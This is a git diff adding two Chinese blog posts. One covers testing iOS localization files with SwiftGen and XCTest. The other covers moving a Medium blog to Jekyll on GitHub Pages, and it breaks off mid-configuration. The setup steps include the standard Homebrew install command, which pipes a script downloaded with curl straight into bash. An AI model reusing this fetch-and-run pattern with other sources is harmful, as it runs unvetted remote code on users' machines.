2024-04-14T02:14:31.859+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","localization","unit-testing","xcode","swift"] +description: "確保 Localizable.strings 文字檔不被意外改壞" +image: + path: /assets/48a8526c1300/1*G2UsVr02o122GxI2o1WbQQ.jpeg +render_with_liquid: false +--- + +### iOS 為多語系字串買份保險吧! + +使用 SwifGen & UnitTest 確保多語系操作的安全 + + + +![Photo by [Mick Haupt](https://unsplash.com/es/@rocinante_11?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/48a8526c1300/1*G2UsVr02o122GxI2o1WbQQ.jpeg) + +Photo by [Mick Haupt](https://unsplash.com/es/@rocinante_11?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 問題 +#### 純文字檔案 + + +![](/assets/48a8526c1300/1*9hxfi00_HcXy0wUMIyU8gA.png) + + +iOS 的多語系處理方式是 Localizable\.strings 純文字檔案,不像 Android 是透過 XML 格式來管理;所以在日常開發上就會有不小心把語系檔改壞或是漏加的風險再加上多語系不會在 Build Time 檢查出錯誤,往往都是上線後,某個地區的使用者回報才發現問題,會大大降低使用者信心程度。 + +之前血淋淋的案例,大家 Swift 寫的太習慣忘記 Localizable\.strings 要加 `;` ,導致某個語系上線後從漏掉 `;` 的語句往後全壞掉;最後緊急 Hotfix 才化險為夷。 +#### **多語系有問題就會直接把 Key 顯示給使用者** + + +![](/assets/48a8526c1300/1*BwaK_5ac2gxAmrzt4w-oBA.png) + + +如上圖所示,假設 `DESCRIPTION` Key 漏加, App就會直接顯示 `DESCRIPTION` 給使用者。 +### 檢查需求 +- Localizable\.strings 格式正確檢查 \(換行結尾需加上 `;` 、合法 Key Value 對應\) +- 程式碼中有取用的多語系 Key 要在 Localizable\.strings 檔有對應定義 +- Localizable\.strings 檔各個語系都要有相應的 Key Value 紀錄 +- Localizable\.strings 檔不能有重複的 Key \(否則 Value 會被意外覆蓋\) + +### 解決方案 +#### 使用 Swift 撰寫完整檢查工具 + +之前的做法是「 [Xcode 直接使用 Swift 撰寫 Shell Script!](../41c49a75a743/) 」參考 [Localize 🏁](https://github.com/freshOS/Localize){:target="_blank"} 工具使用 Swift 開發 Command Line Tool 從外部做多語系檔案檢查,再把腳本放到 Build Phases Run Script 中,在 Build Time 執行檢查。 + +**優點:** +檢查程式是由外部注入,不依賴在專案上,可以不透過 XCode、不需 Build 專案也能執行檢查、檢查功能能精確到哪個檔案的第幾行;另外還能做 Format 功能 \(排序多語系 Key A\->Z\)。 + +**缺點:** +增加 Build Time \( \+ ~= 3 mins\)、流程發散,腳本有問題或需因應專案架構調整時難以交接維護,因這塊不在專案內,除了加入這段檢查進來的人知道整個邏輯,其他協作者很難碰觸到這塊。 + + +> 有興趣的朋友可以參考之前的那篇文章,本篇主要介紹的方式是透過 XCode 13\+SwiftGen\+UnitTest 來達成檢查 Localizable\.strings 的所有功能。 + + + + +#### XCode 13 內建 Build Time 檢查 Localizable\.strings 檔案格式正確性 + + +![](/assets/48a8526c1300/1*p28LgNGZYh6S8T2s2UH8lg.png) + + +升級 XCode 13 之後就內建了 Build Time 檢查 Localizable\.strings 檔案格式的功能,經測試檢查的規格相當完整,除了漏掉 `;` 外如有多餘無意義的字串也會被擋下來。 +#### 使用 SwiftGen 取代原始 NSLocalizedString String Base 存取方式 + +[SwiftGen](https://github.com/SwiftGen/SwiftGen){:target="_blank"} 能幫助我們將原本的 NSLocalizedString String 存取方式改成 Object 存取,防止不小心打錯字、忘記在 Key 宣告的情況出現。 + + +[![](https://repository-images.githubusercontent.com/39166950/1826ed00-d6cf-11ea-9736-34829910d1e6)](https://github.com/SwiftGen/SwiftGen){:target="_blank"} + + +SwiftGen 核心也是 Command Line Tool;但是這工具在業界蠻流行的而且有完整的文件及社群資源在維護,不必害怕導入這個工具後續難維護的問題。 + +[**Installation**](https://github.com/SwiftGen/SwiftGen#installation){:target="_blank"} + +可依照您的環境或 CI/CD 服務設定去選擇安裝方式,這邊 Demo 直接用最直接的 CocoaPods 進行安裝。 + + +> 請注意 SwiftGen 並不是真的 CocoaPods,他不會跟專案中的程式碼有任何依賴;使用 CocoaPods 安裝 SwiftGen 單純只是透過它下載這個 Command Line Tool 執行檔回來。 + + + + + +在 `podfile` 中加入 swiftgen pod: +```plaintext +pod 'SwiftGen', '~> 6.0' +``` + +**Init** + +`pod install` 之後打開 Terminal `cd` 到專案下 +```bash +/L10NTests/Pods/SwiftGen/bin/swiftGen config init +``` + +init `swiftgen.yml` 設定檔,並打開它 +```yaml +strings: + - inputs: + - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings" + outputs: + templateName: structured-swift5 + output: "L10NTests/Supporting Files/SwiftGen-L10n.swift" + params: + enumName: "L10n" +``` + +貼上並修改成符合您專案的格式: + +**inputs:** 專案語系檔案位置 \(建議指定 DevelopmentLocalization 語系的語系檔\) + +**outputs:** +**output:** 轉換結果的 swift 檔案位置 +**params: enumName:** 物件名稱 +**templateName:** 轉換模板 + +可以下 `swiftGen template list` 取得內建的模板列表 + + +![flat v\.s\. structured](/assets/48a8526c1300/1*J5ZOMW6BC-fDqSlh-My2Pg.jpeg) + +flat v\.s\. structured + +差別在如果 Key 風格是 `XXX.YYY.ZZZ` flat 模板會轉換成小駝峰;structured 模板會照原始風格轉換成 `XXX.YYY.ZZZ` 物件。 + +純 Swift 專案可直接使用內建模板,但若是 Swift 混 OC 的專案就需要自行客製化模板: + +`flat-swift5-objc.stencil` : +```php +// swiftlint:disable all +// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen + +{% if tables.count > 0 %} +{% set accessModifier %}{% if param.publicAccess %}public{% else %}internal{% endif %}{% endset %} +import Foundation + +// swiftlint:disable superfluous_disable_command file_length implicit_return + +// MARK: - Strings + +{% macro parametersBlock types %}{% filter removeNewlines:"leading" %} + {% for type in types %} + {% if type == "String" %} + _ p{{forloop.counter}}: Any + {% else %} + _ p{{forloop.counter}}: {{type}} + {% endif %} + {{ ", " if not forloop.last }} + {% endfor %} +{% endfilter %}{% endmacro %} +{% macro argumentsBlock types %}{% filter removeNewlines:"leading" %} + {% for type in types %} + {% if type == "String" %} + String(describing: p{{forloop.counter}}) + {% elif type == "UnsafeRawPointer" %} + Int(bitPattern: p{{forloop.counter}}) + {% else %} + p{{forloop.counter}} + {% endif %} + {{ ", " if not forloop.last }} + {% endfor %} +{% endfilter %}{% endmacro %} +{% macro recursiveBlock table item %} + {% for string in item.strings %} + {% if not param.noComments %} + {% for line in string.translation|split:"\n" %} + /// {{line}} + {% endfor %} + {% endif %} + {% if string.types %} + {{accessModifier}} static func {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}({% call parametersBlock string.types %}) -> String { + return {{enumName}}.tr("{{table}}", "{{string.key}}", {% call argumentsBlock string.types %}) + } + {% elif param.lookupFunction %} + {# custom localization function is mostly used for in-app lang selection, so we want the loc to be recomputed at each call for those (hence the computed var) #} + {{accessModifier}} static var {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}: String { return {{enumName}}.tr("{{table}}", "{{string.key}}") } + {% else %} + {{accessModifier}} static let {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}} = {{enumName}}.tr("{{table}}", "{{string.key}}") + {% endif %} + {% endfor %} + {% for child in item.children %} + {% call recursiveBlock table child %} + {% endfor %} +{% endmacro %} +// swiftlint:disable function_parameter_count identifier_name line_length type_body_length +{% set enumName %}{{param.enumName|default:"L10n"}}{% endset %} +@objcMembers {{accessModifier}} class {{enumName}}: NSObject { + {% if tables.count > 1 or param.forceFileNameEnum %} + {% for table in tables %} + {{accessModifier}} enum {{table.name|swiftIdentifier:"pretty"|escapeReservedKeywords}} { + {% filter indent:2 %}{% call recursiveBlock table.name table.levels %}{% endfilter %} + } + {% endfor %} + {% else %} + {% call recursiveBlock tables.first.name tables.first.levels %} + {% endif %} +} +// swiftlint:enable function_parameter_count identifier_name line_length type_body_length + +// MARK: - Implementation Details + +extension {{enumName}} { + private static func tr(_ table: String, _ key: String, _ args: CVarArg...) -> String { + {% if param.lookupFunction %} + let format = {{ param.lookupFunction }}(key, table) + {% else %} + let format = {{param.bundle|default:"BundleToken.bundle"}}.localizedString(forKey: key, value: nil, table: table) + {% endif %} + return String(format: format, locale: Locale.current, arguments: args) + } +} +{% if not param.bundle and not param.lookupFunction %} + +// swiftlint:disable convenience_type +private final class BundleToken { + static let bundle: Bundle = { + #if SWIFT_PACKAGE + return Bundle.module + #else + return Bundle(for: BundleToken.self) + #endif + }() +} +// swiftlint:enable convenience_type +{% endif %} +{% else %} +// No string found +{% endif %} +``` + +以上提供一個網路搜集來&客製化過兼容 Swift 和 OC 的模板,可自行建立 `flat-swift5-objc.stencil` File 然後貼上內容或 [點此直接下載 \.zip](https://gist.github.com/zhgchgli0718/34cc6af6366add93f16632efd5575691/archive/bcccc0fb7367c8f9e58b8453446f0a52631aa8d1.zip){:target="_blank"} 。 + +使用客製化模板的話就不是用 templateName 了,而要改宣告 templatePath: + +`swiftgen.yml` : +```yaml +strings: + - inputs: + - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings" + outputs: + templatePath: "path/to/flat-swift5-objc.stencil" + output: "L10NTests/Supporting Files/SwiftGen-L10n.swift" + params: + enumName: "L10n" +``` + +將 templatePath 路徑指定到 \.stencil 模板在專案中的位置即可。 + +**Generator** + +設定好之後可以回到 Termnial 手動下: +```bash +/L10NTests/Pods/SwiftGen/bin/swiftGen +``` + +執行轉換,第一次轉換後請手動從 Finder 將轉換結果檔案 \(SwiftGen\-L10n\.swift\) 拉到專案中,程式才能使用。 + +**Run Script** + + +![](/assets/48a8526c1300/1*jbpXqjsF9kROgIqRQG9JcA.png) + + +在專案設定中 \-> Build Phases \-> \+ \-> New Run Script Phases \-> 貼上: +```bash +if [[ -f "${PODS_ROOT}/SwiftGen/bin/swiftgen" ]]; then + echo "${PODS_ROOT}/SwiftGen/bin/swiftgen" + "${PODS_ROOT}/SwiftGen/bin/swiftgen" +else + echo "warning: SwiftGen is not installed. Run 'pod install --repo-update' to install it." +fi +``` + +這樣在每次 Build 專案時都會跑 Generator 產出最新的轉換結果。 + +**CodeBase 中如何使用?** + + +![](/assets/48a8526c1300/1*8AiJIfqe5C1r9ESbfF-Y7w.png) + +```swift +L10n.homeTitle +L10n.homeDescription("ZhgChgLi") // with arg +``` + + +> 有了 Object Access 後就不可能出現打錯字及 Code 裡面有在用的 Key 但 Localizable\.strings 檔忘記宣告的情況。 + + + + + +> 但 SwiftGen 只能指定從某個語系產生,所以無法阻擋產生的語系有這個 Key 但在其他語系忘記定義的狀況;此狀況要用下面的 UnitTest 才能保護。 + + + + + +**轉換** + +轉換才是這個問題最困難的地方,因為已開發完成的專案中大量使用 NSLocalizedString 要將其轉換成新的 `L10n.XXX` 格式、如果是有帶參數的語句又更複雜 `String(format: NSLocalizedString` ,另外如果有混 OC 還要考慮 OC 的語法與 Swift 不同。 + +沒有什麼特別的解法,只能自己寫一個 Command Line Tools,可參考 [上一篇文章](../41c49a75a743/) 中使用 Swift 掃描專案目錄、Parse 出 NSLocalizedString 的 Regex 撰寫一個小工具去轉換。 + +建議一次轉換一個情境,能 Build 過再轉換下一個。 +- Swift \-> NSLocalizedString 無參數 +- Swift \-> NSLocalizedString 有參數情況 +- OC \-> NSLocalizedString 無參數 +- OC \-> NSLocalizedString 有參數情況 + +#### 透過 UnitTest 檢查各語系檔與主要語系檔案有沒有缺漏及 Key 有無重複 + +我們可以透過撰寫 UniTest 從 Bundle 讀取出 `.strings` File 內容,並加以測試。 + +**從 Bundle 讀取出 `.strings` 並轉成物件:** +```swift +class L10NTestsTests: XCTestCase { + + private var localizations: [Bundle: [Localization]] = [:] + + override func setUp() { + super.setUp() + + let bundles = [Bundle(for: type(of: self))] + + // + bundles.forEach { bundle in + var localizations: [Localization] = [] + + bundle.localizations.forEach { lang in + var localization = Localization(lang: lang) + + if let lprojPath = bundle.path(forResource: lang, ofType: "lproj"), + let lprojBundle = Bundle(path: lprojPath) { + + let filesInLPROJ = (try? FileManager.default.contentsOfDirectory(atPath: lprojBundle.bundlePath)) ?? [] + localization.localizableStringFiles = filesInLPROJ.compactMap { fileFullName -> L10NTestsTests.Localization.LocalizableStringFile? in + let fileName = URL(fileURLWithPath: fileFullName).deletingPathExtension().lastPathComponent + let fileExtension = URL(fileURLWithPath: fileFullName).pathExtension + guard fileExtension == "strings" else { return nil } + guard let path = lprojBundle.path(forResource: fileName, ofType: fileExtension) else { return nil } + + return L10NTestsTests.Localization.LocalizableStringFile(name: fileFullName, path: path) + } + + localization.localizableStringFiles.enumerated().forEach { (index, localizableStringFile) in + if let fileContent = try? String(contentsOfFile: localizableStringFile.path, encoding: .utf8) { + let lines = fileContent.components(separatedBy: .newlines) + let pattern = "\"(.*)\"(\\s*)(=){1}(\\s*)\"(.+)\";" + let regex = try? NSRegularExpression(pattern: pattern, options: []) + let values = lines.compactMap { line -> Localization.LocalizableStringFile.Value? in + let range = NSRange(location: 0, length: (line as NSString).length) + guard let matches = regex?.firstMatch(in: line, options: [], range: range) else { return nil } + let key = (line as NSString).substring(with: matches.range(at: 1)) + let value = (line as NSString).substring(with: matches.range(at: 5)) + return Localization.LocalizableStringFile.Value(key: key, value: value) + } + localization.localizableStringFiles[index].values = values + } + } + + localizations.append(localization) + } + } + + self.localizations[bundle] = localizations + } + } +} + +private extension L10NTestsTests { + struct Localization: Equatable { + struct LocalizableStringFile { + struct Value { + let key: String + let value: String + } + + let name: String + let path: String + var values: [Value] = [] + } + + let lang: String + var localizableStringFiles: [LocalizableStringFile] = [] + + static func == (lhs: Self, rhs: Self) -> Bool { + return lhs.lang == rhs.lang + } + } +} +``` + +我們定義我們定義了一個 `Localization` 來存放頗析出來的資料,從 `Bundle` 中去找 `lproj` 再從其中找出 `.strings` 然後再使用正則表示法將多語系語句轉換成物件放回到 `Localization` ,以利後續測試使用。 + +**這邊有幾個需要注意的:** +- 使用 `Bundle(for: type(of: self))` 從 Test Target 取得資源 +- 記得將 Test Target 的 [STRINGS\_FILE\_OUTPUT\_ENCODING](https://developer.apple.com/forums/thread/71779){:target="_blank"} +設為 `UTF-8` ,否則使用 String 讀取檔案內容時會失敗 \(預設會是 Biniary\) +- 使用 String 讀取而不用 NSDictionary 的原因是,我們需要測試重複的 Key,使用 NSDictionary 會在讀取的時候就蓋掉重複的 Key 了 +- 記得 `.strings` File 要增加 Test Target + + + +![](/assets/48a8526c1300/1*ERr-ef6R7dFHo1ucU6cPOQ.png) + + +**TestCase 1\. 測試同一個 \.strings 檔案內有無重複定義的 Key:** +```swift +func testNoDuplicateKeysInSameFile() throws { + localizations.forEach { (_, localizations) in + localizations.forEach { localization in + localization.localizableStringFiles.forEach { localizableStringFile in + let keys = localizableStringFile.values.map { $0.key } + let uniqueKeys = Set(keys) + XCTAssertTrue(keys.count == uniqueKeys.count, "Localized Strings File: \(localizableStringFile.path) has duplicated keys.") + } + } + } +} +``` + +Input: + + +![](/assets/48a8526c1300/1*cB5nXv1wWPzbjAOrKQ835w.png) + + +Result: + + +![](/assets/48a8526c1300/1*6qIgcx0EkK7j_R17d6ljuw.png) + + +**TestCase 2\. 與 DevelopmentLocalization 語言相比,有無缺少/多餘的 Key:** +```swift +func testCompareWithDevLangHasMissingKey() throws { + localizations.forEach { (bundle, localizations) in + let developmentLang = bundle.developmentLocalization ?? "en" + if let developmentLocalization = localizations.first(where: { $0.lang == developmentLang }) { + let othersLocalization = localizations.filter { $0.lang != developmentLang } + + developmentLocalization.localizableStringFiles.forEach { developmentLocalizableStringFile in + let developmentLocalizableKeys = Set(developmentLocalizableStringFile.values.map { $0.key }) + othersLocalization.forEach { otherLocalization in + if let otherLocalizableStringFile = otherLocalization.localizableStringFiles.first(where: { $0.name == developmentLocalizableStringFile.name }) { + let otherLocalizableKeys = Set(otherLocalizableStringFile.values.map { $0.key }) + if developmentLocalizableKeys.count < otherLocalizableKeys.count { + XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has redundant keys.") + } else if developmentLocalizableKeys.count > otherLocalizableKeys.count { + XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has missing keys.") + } + } else { + XCTFail("Localized Strings File not found in Lang: \(otherLocalization.lang)") + } + } + } + } else { + XCTFail("developmentLocalization not found in Bundle: \(bundle)") + } + } +} +``` + +Input: \(相較 DevelopmentLocalization 其他語系缺少宣告 Key\) + + +![](/assets/48a8526c1300/1*RwO-ploDVoExJmhHRpBXiA.png) + + +Output: + + +![](/assets/48a8526c1300/1*Mdt01WLvX2KBtwUhThxOSQ.png) + + +Input: \(DevelopmentLocalization 沒有這個 Key,但在其他語系出現\) + + +![](/assets/48a8526c1300/1*RwO-ploDVoExJmhHRpBXiA.png) + + +Output: + + +![](/assets/48a8526c1300/1*Fr-w-PXEx2N_ftYjfXTa9w.png) + +### 總結 + +綜合以上方式,我們使用: +- 新版 XCode 幫我們確保 \.strings 檔案格式正確性 ✅ +- SwiftGen 確保 CodeBase 引用多語系時不會打錯或沒宣告就引用 ✅ +- UnitTest 確保多語系內容正確性 ✅ + + + +[![](https://opengraph.githubassets.com/5e3a8099a333f9bf5a74339f82426afdd235c5a6ca6b9910196a4b961eb2b31a/zhgchgli0718/L10NTests)](https://github.com/zhgchgli0718/L10NTests){:target="_blank"} + +#### 優點: +- 執行速度快,不拖累 Build Time +- 只要是 iOS 開發者都會維護 + +### 進階 +#### Localized File Format + +這個解決方案無法達成,還是需使用原本 [用 Swift 寫的 Command Line Tool 來達成](../41c49a75a743/) ,不過 Format 部分可以在 git pre\-commit 做就好;沒有 diff 調整就不做,避免每次 build 都要跑一次: +```bash +#!/bin/sh + +diffStaged=${1:-\-\-staged} # use $1 if exist, default --staged. + +git diff --diff-filter=d --name-only $diffStaged | grep -e 'Localizable.*\.\(strings\|stringsdict\)$' | \ + while read line; do + // do format for ${line} +done +``` +#### \.stringdict + +同樣的原理也可用在 `.stringdict` 上 +#### CI/CD + +swiftgen 可以不用放在 build phase,因為每次 build 都會跑一次,而且 Build 完程式碼才會出現,可以改成有調整再下指令產生就好。 +#### 明確得到錯在哪個 Key + +可優化 UnitTest 的程式,使之能輸出明確是哪個 Key Missing/Reductant/Duplicate。 +#### 使用第三方工具讓工程師完全解放多語系工作 + +如同之前「 [2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密](../11f6c8568154/) 」的演講內容,在大團隊中多語系工作可以透過第三方服務拆開,多語系工作的依賴關係。 + + +![](/assets/48a8526c1300/1*YQi4ti2_MfUapUSRKnF5dg.png) + + +工程師只需定義好 Key,多語系會在 CI/CD 階段從平台自動匯入,少了人工維護的階段;也比較不容易出錯。 +### Special Thanks + + +![[Wei Cao](https://www.linkedin.com/in/wei-cao-67b5b315a/){:target="_blank"} , iOS Developer @ Pinkoi](/assets/48a8526c1300/1*CCGSKp2-BvATpDAuRiRuRQ.jpeg) + +[Wei Cao](https://www.linkedin.com/in/wei-cao-67b5b315a/){:target="_blank"} , iOS Developer @ Pinkoi + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E7%82%BA%E5%A4%9A%E8%AA%9E%E7%B3%BB%E5%AD%97%E4%B8%B2%E8%B2%B7%E4%BB%BD%E4%BF%9D%E9%9A%AA%E5%90%A7-48a8526c1300){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-07-16-a0c08d579ab1.md b/_posts/zmediumtomarkdown/2022-07-16-a0c08d579ab1.md new file mode 100644 index 000000000..d1c09eee1 --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-07-16-a0c08d579ab1.md @@ -0,0 +1,747 @@ +--- +title: "無痛轉移 Medium 到自架網站" +author: "ZhgChgLi" +date: 2022-07-16T16:00:47.481+0000 +last_modified_at: 2024-04-14T02:17:00.405+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","jekyll","github-actions","medium","self-hosted"] +description: "將 Medium 內容搬遷至 Github Pages (with Jekyll/Chirpy)" +image: + path: /assets/a0c08d579ab1/1*XsLBwUYruBOgUy3snkhoxw.png +render_with_liquid: false +--- + +### 無痛轉移 Medium 到自架網站 + +將 Medium 內容搬遷至 Github Pages \(with Jekyll/Chirpy\) + + + +![[zhgchg\.li](http://zhgchg.li){:target="_blank"}](/assets/a0c08d579ab1/1*XsLBwUYruBOgUy3snkhoxw.png) + +[zhgchg\.li](http://zhgchg.li){:target="_blank"} +### 背景 + +經營 Medium 的第四年,已累積超過 65 篇文章,將近 1000\+ 小時的時間心血;當初會選擇 Medium 的原因是簡單方便,可以很好的把心思放在撰寫文章上,不需要去管其他的事;在此之前曾經嘗試過自架 Wordpress,但都把心思放在弄環境、樣式、Plguin 這些事情上,感覺怎麼調整都不滿意,調整好後又發現載入太慢、閱讀體驗不佳、後台撰寫文章介面也不夠人性化,然後就沒怎麼在更新了。 + +隨著在 Medium 撰寫的文章越來越多、累積了一些流量與追蹤者後,又開始想自己掌握著這些成果,而不是被第三方平台掌控 \(e\.g Medium 關站心血全沒\),所以從前年開始就一直在尋覓第二備份網站,會持續經營 Medium 但也會同步把內容發佈到自己能掌控的網站上;當時找到的解決方案是 — [Google Site](../724a7fb9a364/) 但老實說只能當成個人「入口網站」使用,文章撰寫界面功能有限,無法真的把所有文章心血搬過去。 + +最終還是走回自架的的道路,不同的是採用的並非動態網站\(e\.g\. wordpress\),而是靜態網站;相較之下能支援的功能較少,但是我要的就是文章撰寫功能跟簡潔流暢可客製化的瀏覽體驗,其他都不需要! + +靜態網站的工作流程是:在本地使用 Markdown 格式撰寫好文章,然後將其透過靜態網站引擎轉換為 靜態網頁 上傳到伺服器,即完成;靜態網頁,瀏覽體驗快速! + +使用 Markdown 格式寫作,可以讓文章兼容更多不同平台;如不習慣,也可以找線上或線下的 Markdown 撰寫工具,體驗就跟直接在 Medium 撰寫一樣!。 + +綜合以上,這個方案可以達成我希望流暢的瀏覽體驗及方便的撰寫界面兩個維度的需求。 +### 成果 + + +![[zhgchg\.li](http://zhgchg.li){:target="_blank"}](/assets/a0c08d579ab1/1*8yvr8SHvKxScqbu_3Lv7HA.gif) + +[zhgchg\.li](http://zhgchg.li){:target="_blank"} +- 支援客製化顯示樣式 +- 支援客製化頁面調整 \(e\.g\. 插入廣告、js widget\) +- 支援自訂頁面 +- 支援自訂域名 +- 靜態化頁面載入快速、瀏覽體驗佳 +- 使用 Git 版本控制,文章所有的歷史版本都能保留恢復 +- 全自動定時自動同步 Medium 文章到網站 + +### 環境及工具 +- **環境語言** :Ruby +- **依賴管理工具** : [RubyGems\.org](https://rubygems.org/){:target="_blank"} 、 [Bundler](https://rubygems.org/gems/bundler){:target="_blank"} +- **靜態網站引擎** : [Jekyll](https://jekyllrb.com/){:target="_blank"} \(Based on Ruby\) +- **文章格式** :Markdown +- **伺服器** : [Github Page](https://docs.github.com/en/pages){:target="_blank"} \(免費、無限流量/容量 靜態網站伺服器\) +- **CI/CD** : [Github Action](https://github.com/features/actions){:target="_blank"} \(免費 2,000 mins\+/月\) +- **Medium 文章轉換 Markdown 工具** : [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} \(Based on Ruby\) +- **版本控制** : [Git](https://git-scm.com/){:target="_blank"} +- **\(可選\) Git GUI** : [Git Fork](https://git-fork.com/){:target="_blank"} +- **\(可選\) 網域服務** : [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} + +### 安裝 Ruby + +這邊只以我的環境為例,其他作業系統版本請 [Google 如何安裝 Ruby](https://jekyllrb.com/docs/installation/){:target="_blank"} 。 +- macOS Monterey 12\.1 +- rbenv +- ruby 2\.6\.5 + +#### 安裝 [Brew](https://brew.sh/index_zh-tw){:target="_blank"} +```bash +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +在 Terminal 輸入以上指令安裝 Brew。 +#### 安裝 [rbenv](https://github.com/rbenv/rbenv){:target="_blank"} +```bash +brew install rbenv ruby-build +``` + +MacOS 雖自帶 Ruby 但建議使用 rbenv 安裝另一個 Ruby 與系統自帶的區隔開來,在 Terminal 輸入以上指令安裝 rbenv。 +```bash +rbenv init +``` + +在 Terminal 輸入以上指令初始化 rbenv +- **關閉&重新打開 Terminal。** + + +在 Terminal 輸入 `rbenv` 檢查是否安裝成功! + + +![](/assets/a0c08d579ab1/1*uVcwZLxSUZymjxILlXyNcw.png) + + +**成功!** +#### 使用 rbenv 安裝 Ruby +```bash +rbenv install 2.6.5 +``` + +在 Terminal 輸入以上指令安裝 Ruby 2\.6\.5 版本。 +```bash +rbenv global 2.6.5 +``` + +在 Terminal 輸入以上指令將 Terminal 所使用的 Ruby 版本從系統自帶的切換到 rbenv 的版本。 + +在 Terminal 輸入 `rbenv versions` 查看當前設定: + + +![](/assets/a0c08d579ab1/1*AJXLDusJQ7XJQjWHQOqWGA.png) + + +在 Terminal 輸入 `ruby -v` 查看當前 Ruby、 `gem -v` 查看當前 RubyGems 狀況: + + +![](/assets/a0c08d579ab1/1*ANyW3uysaKSiySTDGi28gw.png) + + + +> \*Ruby 安裝完後理應也安裝好 [RubyGems](https://github.com/rubygems/rubygems){:target="_blank"} 了。 + + + + + +**成功!** +#### 安裝 Jekyll & Bundler & ZMediumToMarkdown +```bash +gem install jekyll bundler ZMediumToMarkdown +``` + +在 Terminal 輸入以上指令安裝 Jekyll & Bundler & ZMediumToMarkdown。 + +**完成!** +### 從模版建立 Jekyll Blog + +預設的 Jekyll Blog 樣式非常簡潔,我們可以從以下網站找到自己喜歡的樣式並套用: +- [GitHub\.com \#jekyll\-theme repos](https://github.com/topics/jekyll-theme){:target="_blank"} +- [jamstackthemes\.dev](https://jamstackthemes.dev/ssg/jekyll/){:target="_blank"} +- [jekyllthemes\.org](http://jekyllthemes.org/){:target="_blank"} +- [jekyllthemes\.io](https://jekyllthemes.io/){:target="_blank"} +- [jekyll\-themes\.com](https://jekyll-themes.com/){:target="_blank"} + + +安裝方式一般使用 [gem\-based themes](https://jekyllrb.com/docs/themes/#installing-a-theme){:target="_blank"} ,也有的 Repo 提供 Fork 方式安裝;甚至是提供直接一鍵安裝方式;總之每個模板的安裝方式可能有所不同,請參閱模板的教學使用。 + + +> 另外要注意,因我們要部署到 Github Pages 上,依據官方文件所說並非所有模板都能適用。 + + + + +### Chirpy 模版 + +這邊就以我 Blog 採用的模版 [Chirpy](https://github.com/cotes2020/jekyll-theme-chirpy/){:target="_blank"} 為示範,此模版提供最傻瓜的一鍵安裝方式,可以直接使用。 + + +> 其他模版比較少有提供類似的一鍵安裝,在不熟悉 Jeklly、Github Pages 的情況下先使用此模版是比較好入門的方式;日後有機會再更新文章講其他的模版安裝方式。 + + + + + +> 另外在 Github 上找可以直接 Fork 的模版也可以\(e\.g\. [al\-folio](https://github.com/alshedivat/al-folio){:target="_blank"} \)直接使用,如果都不是,是需要自己手動安裝的模版就要自行研究如何設定 Github Pages 部署,這邊我稍微研究了一下沒成功,待日後有結果再回來文章補充分享。 + + + + +#### 從 Git Template 建立 Git Repo + + +![](/assets/a0c08d579ab1/1*XRaln4SJiK-la32HhSYPug.png) + + +[https://github\.com/cotes2020/chirpy\-starter/generate](https://github.com/cotes2020/chirpy-starter/generate){:target="_blank"} +- Repository name: `Github帳號/組織名稱.github.io` \( **務必使用這個格式** \) +- 務必選擇「Public」公開 Repo + + +點擊「Create repository from template」 + +完成 Repo 建立。 +#### Git Clone 專案 + + +![](/assets/a0c08d579ab1/1*cQUPBm6tzyceXV-iwY5rzw.png) + +```bash +git clone git@github.com:zhgchgli0718/zhgchgli0718.github.io.git +``` + +git clone 剛剛建立的 Repo。 + +執行 `bundle` 安裝依賴: + + +![](/assets/a0c08d579ab1/1*4ebE2NABGtRbKvc75e6aLA.png) + + +執行 `bundle lock — add-platform x86_64-linux` 鎖定版本 + + +![](/assets/a0c08d579ab1/1*Xvp8WBvKYU59fBVlEne14w.png) + +#### 修改網站設定 + +打開 `_config.yml` 設定檔案進行設定: +```yaml +# The Site Configuration + +# Import the theme +theme: jekyll-theme-chirpy + +# Change the following value to '/PROJECT_NAME' ONLY IF your site type is GitHub Pages Project sites +# and doesn't have a custom domain. +# baseurl: '' + +# The language of the webpage › http://www.lingoes.net/en/translator/langcode.htm +# If it has the same name as one of the files in folder `_data/locales`, the layout language will also be changed, +# otherwise, the layout language will use the default value of 'en'. +lang: en + +# Additional parameters for datetime localization, optional. › https://github.com/iamkun/dayjs/tree/dev/src/locale +prefer_datetime_locale: + +# Change to your timezone › http://www.timezoneconverter.com/cgi-bin/findzone/findzone +timezone: + +# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md +# ↓ -------------------------- + +title: ZhgChgLi # the main title + +tagline: Live a life you will remember. # it will display as the sub-title + +description: >- # used by seo meta and the atom feed + ZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活 + +# fill in the protocol & hostname for your site, e.g., 'https://username.github.io' +url: 'https://zhgchg.li' + +github: + username: ZhgChgLi # change to your github username + +twitter: + username: zhgchgli # change to your twitter username + +social: + # Change to your full name. + # It will be displayed as the default author of the posts and the copyright owner in the Footer + name: ZhgChgLi + email: zhgchgli@gmail.com # change to your email address + links: + - https://medium.com/@zhgchgli + - https://github.com/ZhgChgLi + - https://www.linkedin.com/in/zhgchgli + +google_site_verification: # fill in to your verification string + +# ↑ -------------------------- +# The end of `jekyll-seo-tag` settings + +google_analytics: 